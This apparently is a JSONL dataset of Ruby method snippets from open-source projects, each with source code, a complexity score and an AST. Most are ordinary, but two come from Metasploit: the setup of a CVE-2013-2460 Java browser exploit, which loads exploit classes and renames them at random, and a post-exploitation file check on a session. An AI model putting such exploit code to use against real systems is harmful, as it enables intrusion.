{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb","start_line":91,"raw_source":"def setup\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-2460\", \"Exploit.class\")\n    @exploit_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-2460\", \"ExpProvider.class\")\n    @provider_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"cve-2013-2460\", \"DisableSecurityManagerAction.class\")\n    @action_class = File.open(path, \"rb\") { |fd| fd.read(fd.stat.size) }\n\n    @exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)\n    @exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)\n\n    super\n  end","complexity_score":34.5,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-2460\"]},{\"type\":\"str\",\"children\":[\"Exploit.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exploit_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-2460\"]},{\"type\":\"str\",\"children\":[\"ExpProvider.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@provider_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"cve-2013-2460\"]},{\"type\":\"str\",\"children\":[\"DisableSecurityManagerAction.class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@action_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exploit_class_name\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXPLOIT_STRING\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_class\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"EXPLOIT_STRING\"]},{\"type\":\"ivar\",\"children\":[\"@exploit_class_name\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ace91865-7bbf-4fee-849a-31eb63758299"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cops_documentation_generator.rb","start_line":61,"raw_source":"def call\n    YARD::Registry.load!\n    departments.each { |department| print_cops_of_department(department) }\n\n    print_table_of_contents\n  ensure\n    RuboCop::ConfigLoader.default_configuration = nil\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YARD\"]},\"Registry\"]},\"load!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"departments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"department\"]}]},{\"type\":\"send\",\"children\":[null,\"print_cops_of_department\",{\"type\":\"lvar\",\"children\":[\"department\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_table_of_contents\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"ConfigLoader\"]},\"default_configuration=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"22bdfc3d-1203-447a-baa3-2ea58fcc05b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/create_activity_event_service.rb","start_line":27,"raw_source":"def schedule_cleanup_at\n        1.hour.from_now.change(min: agent.id % 60)\n      end","complexity_score":8.55,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_cleanup_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]},\"from_now\"]},\"change\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent\"]},\"id\"]},\"%\",{\"type\":\"int\",\"children\":[60]}]}]}]}]}]}","id":"791eac7f-ce74-4d33-9435-86ce7ebdd624"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/message_processor.rb","start_line":59,"raw_source":"def add_lightbox_to_images\n      @doc\n        .css(\"img\")\n        .each do |img|\n          if img[\"class\"]&.include?(\"emoji\") || img[\"class\"]&.include?(\"avatar\") ||\n               img[\"data-base62-sha1\"].blank?\n            next\n          end\n\n          sha1 = Upload.sha1_from_base62_encoded(img[\"data-base62-sha1\"])\n          if upload = Upload.find_by(sha1: sha1)\n            img[\"data-large-src\"] = upload.url\n            img[\"data-download-href\"] = upload.short_path\n            img[\"data-target-width\"] = upload.width\n            img[\"data-target-height\"] = upload.height\n            img[\"class\"] = \"#{img[\"class\"]} lightbox\".strip\n          end\n        end\n    end","complexity_score":38.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_lightbox_to_images\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"img\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"img\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"emoji\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"avatar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-base62-sha1\"]}]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"sha1_from_base62_encoded\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-base62-sha1\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha1\"]},{\"type\":\"lvar\",\"children\":[\"sha1\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-large-src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-download-href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"short_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-target-width\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"width\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-target-height\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"height\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"img\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]}]},{\"type\":\"str\",\"children\":[\" lightbox\"]}]},\"strip\"]}]}]},null]}]}]}]}","id":"95136cf9-704c-42ab-82ec-31677359fa06"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/upload_link_service.rb","start_line":42,"raw_source":"def call(user:, upload_data:)\n      with_tagged_logger do\n        info \"Validating upload information\"\n        input = validate_input(**upload_data).value_or { return @result }\n\n        info \"Upload data validated...\"\n        info \"Requesting an upload link to #{@storage.name}\"\n        upload_link = request_upload_link(auth_strategy(user), input).value_or { return @result }\n\n        @result.result = upload_link\n        @result\n      end\n    end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"upload_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"Validating upload information\"]}]},{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_input\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_data\"]}]}]}]},\"value_or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"Upload data validated...\"]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting an upload link to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_link\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_upload_link\",{\"type\":\"send\",\"children\":[null,\"auth_strategy\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"lvar\",\"children\":[\"input\"]}]},\"value_or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"result=\",{\"type\":\"lvar\",\"children\":[\"upload_link\"]}]},{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]}","id":"4faf2462-4c53-4f5b-bdad-07d719f3ceda"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/ui/implementations/shell.rb","start_line":67,"raw_source":"def command(message)\n      log.info(\"$ #{message}\".cyan)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"$ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},\"cyan\"]}]}]}","id":"398568f8-b49b-4c63-bed2-5cb0b638b28e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/etag_with_template_digest.rb","start_line":55,"raw_source":"def lookup_and_digest_template(template)\n        ActionView::Digestor.digest name: template, format: nil, finder: lookup_context\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_and_digest_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Digestor\"]},\"digest\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finder\"]},{\"type\":\"send\",\"children\":[null,\"lookup_context\"]}]}]}]}]}","id":"22e448e0-0937-4928-87a6-689c054f231b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/concerns/elastic_indexer.rb","start_line":161,"raw_source":"def build_delete_query(shoulds, ref_ids_to_delete)\n          shoulds << delete_without_version_query(ref_ids_to_delete) if ref_ids_to_delete.any?\n\n          {\n            query: {\n              bool: {\n                should: shoulds,\n                minimum_should_match: 1\n              }\n            }\n          }\n        end","complexity_score":4.65,"ast_json":"{\"type\":\"def\",\"children\":[\"build_delete_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shoulds\"]},{\"type\":\"arg\",\"children\":[\"ref_ids_to_delete\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref_ids_to_delete\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shoulds\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"delete_without_version_query\",{\"type\":\"lvar\",\"children\":[\"ref_ids_to_delete\"]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bool\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"should\"]},{\"type\":\"lvar\",\"children\":[\"shoulds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum_should_match\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}]}","id":"81b5eba3-bb0d-4ed1-b0e9-b9c7d554e89b"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":1815,"raw_source":"def test_http11_connection_header_no_queue\n    server_run(queue_requests: false) { [200, {}, [\"\"]] }\n    response = send_http_read_response GET_11\n    assert_equal \"HTTP/1.1 200 OK\", response.status\n    assert_equal [\"Connection: close\", \"Content-Length: 0\"], response.headers\n  end","complexity_score":8.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_http11_connection_header_no_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_requests\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http_read_response\",{\"type\":\"const\",\"children\":[null,\"GET_11\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection: close\"]},{\"type\":\"str\",\"children\":[\"Content-Length: 0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"headers\"]}]}]}]}","id":"69e3ef9e-e780-4afd-a255-4c63878f228f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/accounts_controller.rb","start_line":144,"raw_source":"def pagination_params(core_params)\n    params.slice(*PAGINATION_PARAMS).permit(*PAGINATION_PARAMS).merge(core_params)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"core_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PAGINATION_PARAMS\"]}]}]},\"permit\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PAGINATION_PARAMS\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"core_params\"]}]}]}","id":"4a8af19f-d109-4e6a-886c-a704c081a4fb"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/custom_attribute_definitions_controller.rb","start_line":16,"raw_source":"def update\n    @custom_attribute_definition.update!(permitted_payload)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@custom_attribute_definition\"]},\"update!\",{\"type\":\"send\",\"children\":[null,\"permitted_payload\"]}]}]}","id":"34a728de-a18e-49d2-afae-6bee3a8532fd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service/derive_progress_values_work_based.rb","start_line":177,"raw_source":"def fixable_remaining_work?\n      no_progress_value_provided_by_user? \\\n        && correctable_remaining_work_value?(work:, remaining_work:, percent_complete:)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fixable_remaining_work?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_progress_value_provided_by_user?\"]},{\"type\":\"send\",\"children\":[null,\"correctable_remaining_work_value?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work\"]},{\"type\":\"send\",\"children\":[null,\"work\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remaining_work\"]},{\"type\":\"send\",\"children\":[null,\"remaining_work\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"percent_complete\"]},{\"type\":\"send\",\"children\":[null,\"percent_complete\"]}]}]}]}]}]}","id":"8fbad323-e309-4588-a6ef-56d5ab1f0019"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/ruby_project.rb","start_line":8,"raw_source":"def add_to_load_path(*dirs)\n        dirs.each { |dir| add_dir_to_load_path(File.join(root, dir)) }\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_load_path\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"dirs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[null,\"add_dir_to_load_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"root\"]},{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}]}","id":"ac83db88-317b-4a7e-b1f2-9ec9f2f790a7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager/template.rb","start_line":6,"raw_source":"def image?\n    genealogy_parent.nil?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"image?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"genealogy_parent\"]},\"nil?\"]}]}","id":"3dc482d5-c813-447f-a99b-439a61d0c4c4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":234,"raw_source":"def executable?(path)\n    raise \"`executable?' method does not support Windows systems\" if session.platform == 'windows'\n\n    cmd_exec(\"test -x '#{path}' && echo true\").to_s.include? 'true'\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"executable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"`executable?' method does not support Windows systems\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"test -x '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"' && echo true\"]}]}]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}","id":"c1fa58f8-fa1c-4ecd-ae61-f0c7305b52e1"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":199,"raw_source":"def to_proc\n        method(:call).to_proc\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"to_proc\"]}]}","id":"a296a8fb-3a43-4249-aa99-e38e38dddab4"}
{"repo_name":"haml","file_path":"./repos/haml/test/test_helper.rb","start_line":61,"raw_source":"def render(text, options = {}, base = nil, &block)\n    options = { escape_html: false }.merge(options) # incompatible default\n    %i[attr_wrapper cdata suppress_eval ugly].each { |opt| options.delete(opt) }\n    scope = (base ? base.instance_eval { binding } : nil)\n    eval Haml::Engine.new(options).call(text), scope\n  end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"base\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"false\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_wrapper\"]},{\"type\":\"sym\",\"children\":[\"cdata\"]},{\"type\":\"sym\",\"children\":[\"suppress_eval\"]},{\"type\":\"sym\",\"children\":[\"ugly\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Haml\"]},\"Engine\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"f59c8aad-8c72-453f-8718-62181aca3359"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/server/action_command.rb","start_line":49,"raw_source":"def target_class\n      unless class_name\n        return nil\n      end\n\n      return Fastlane::Actions.const_get(class_name)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_name\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"const_get\",{\"type\":\"send\",\"children\":[null,\"class_name\"]}]}]}]}]}","id":"d351ef2d-7574-491e-9976-340684f572e1"}
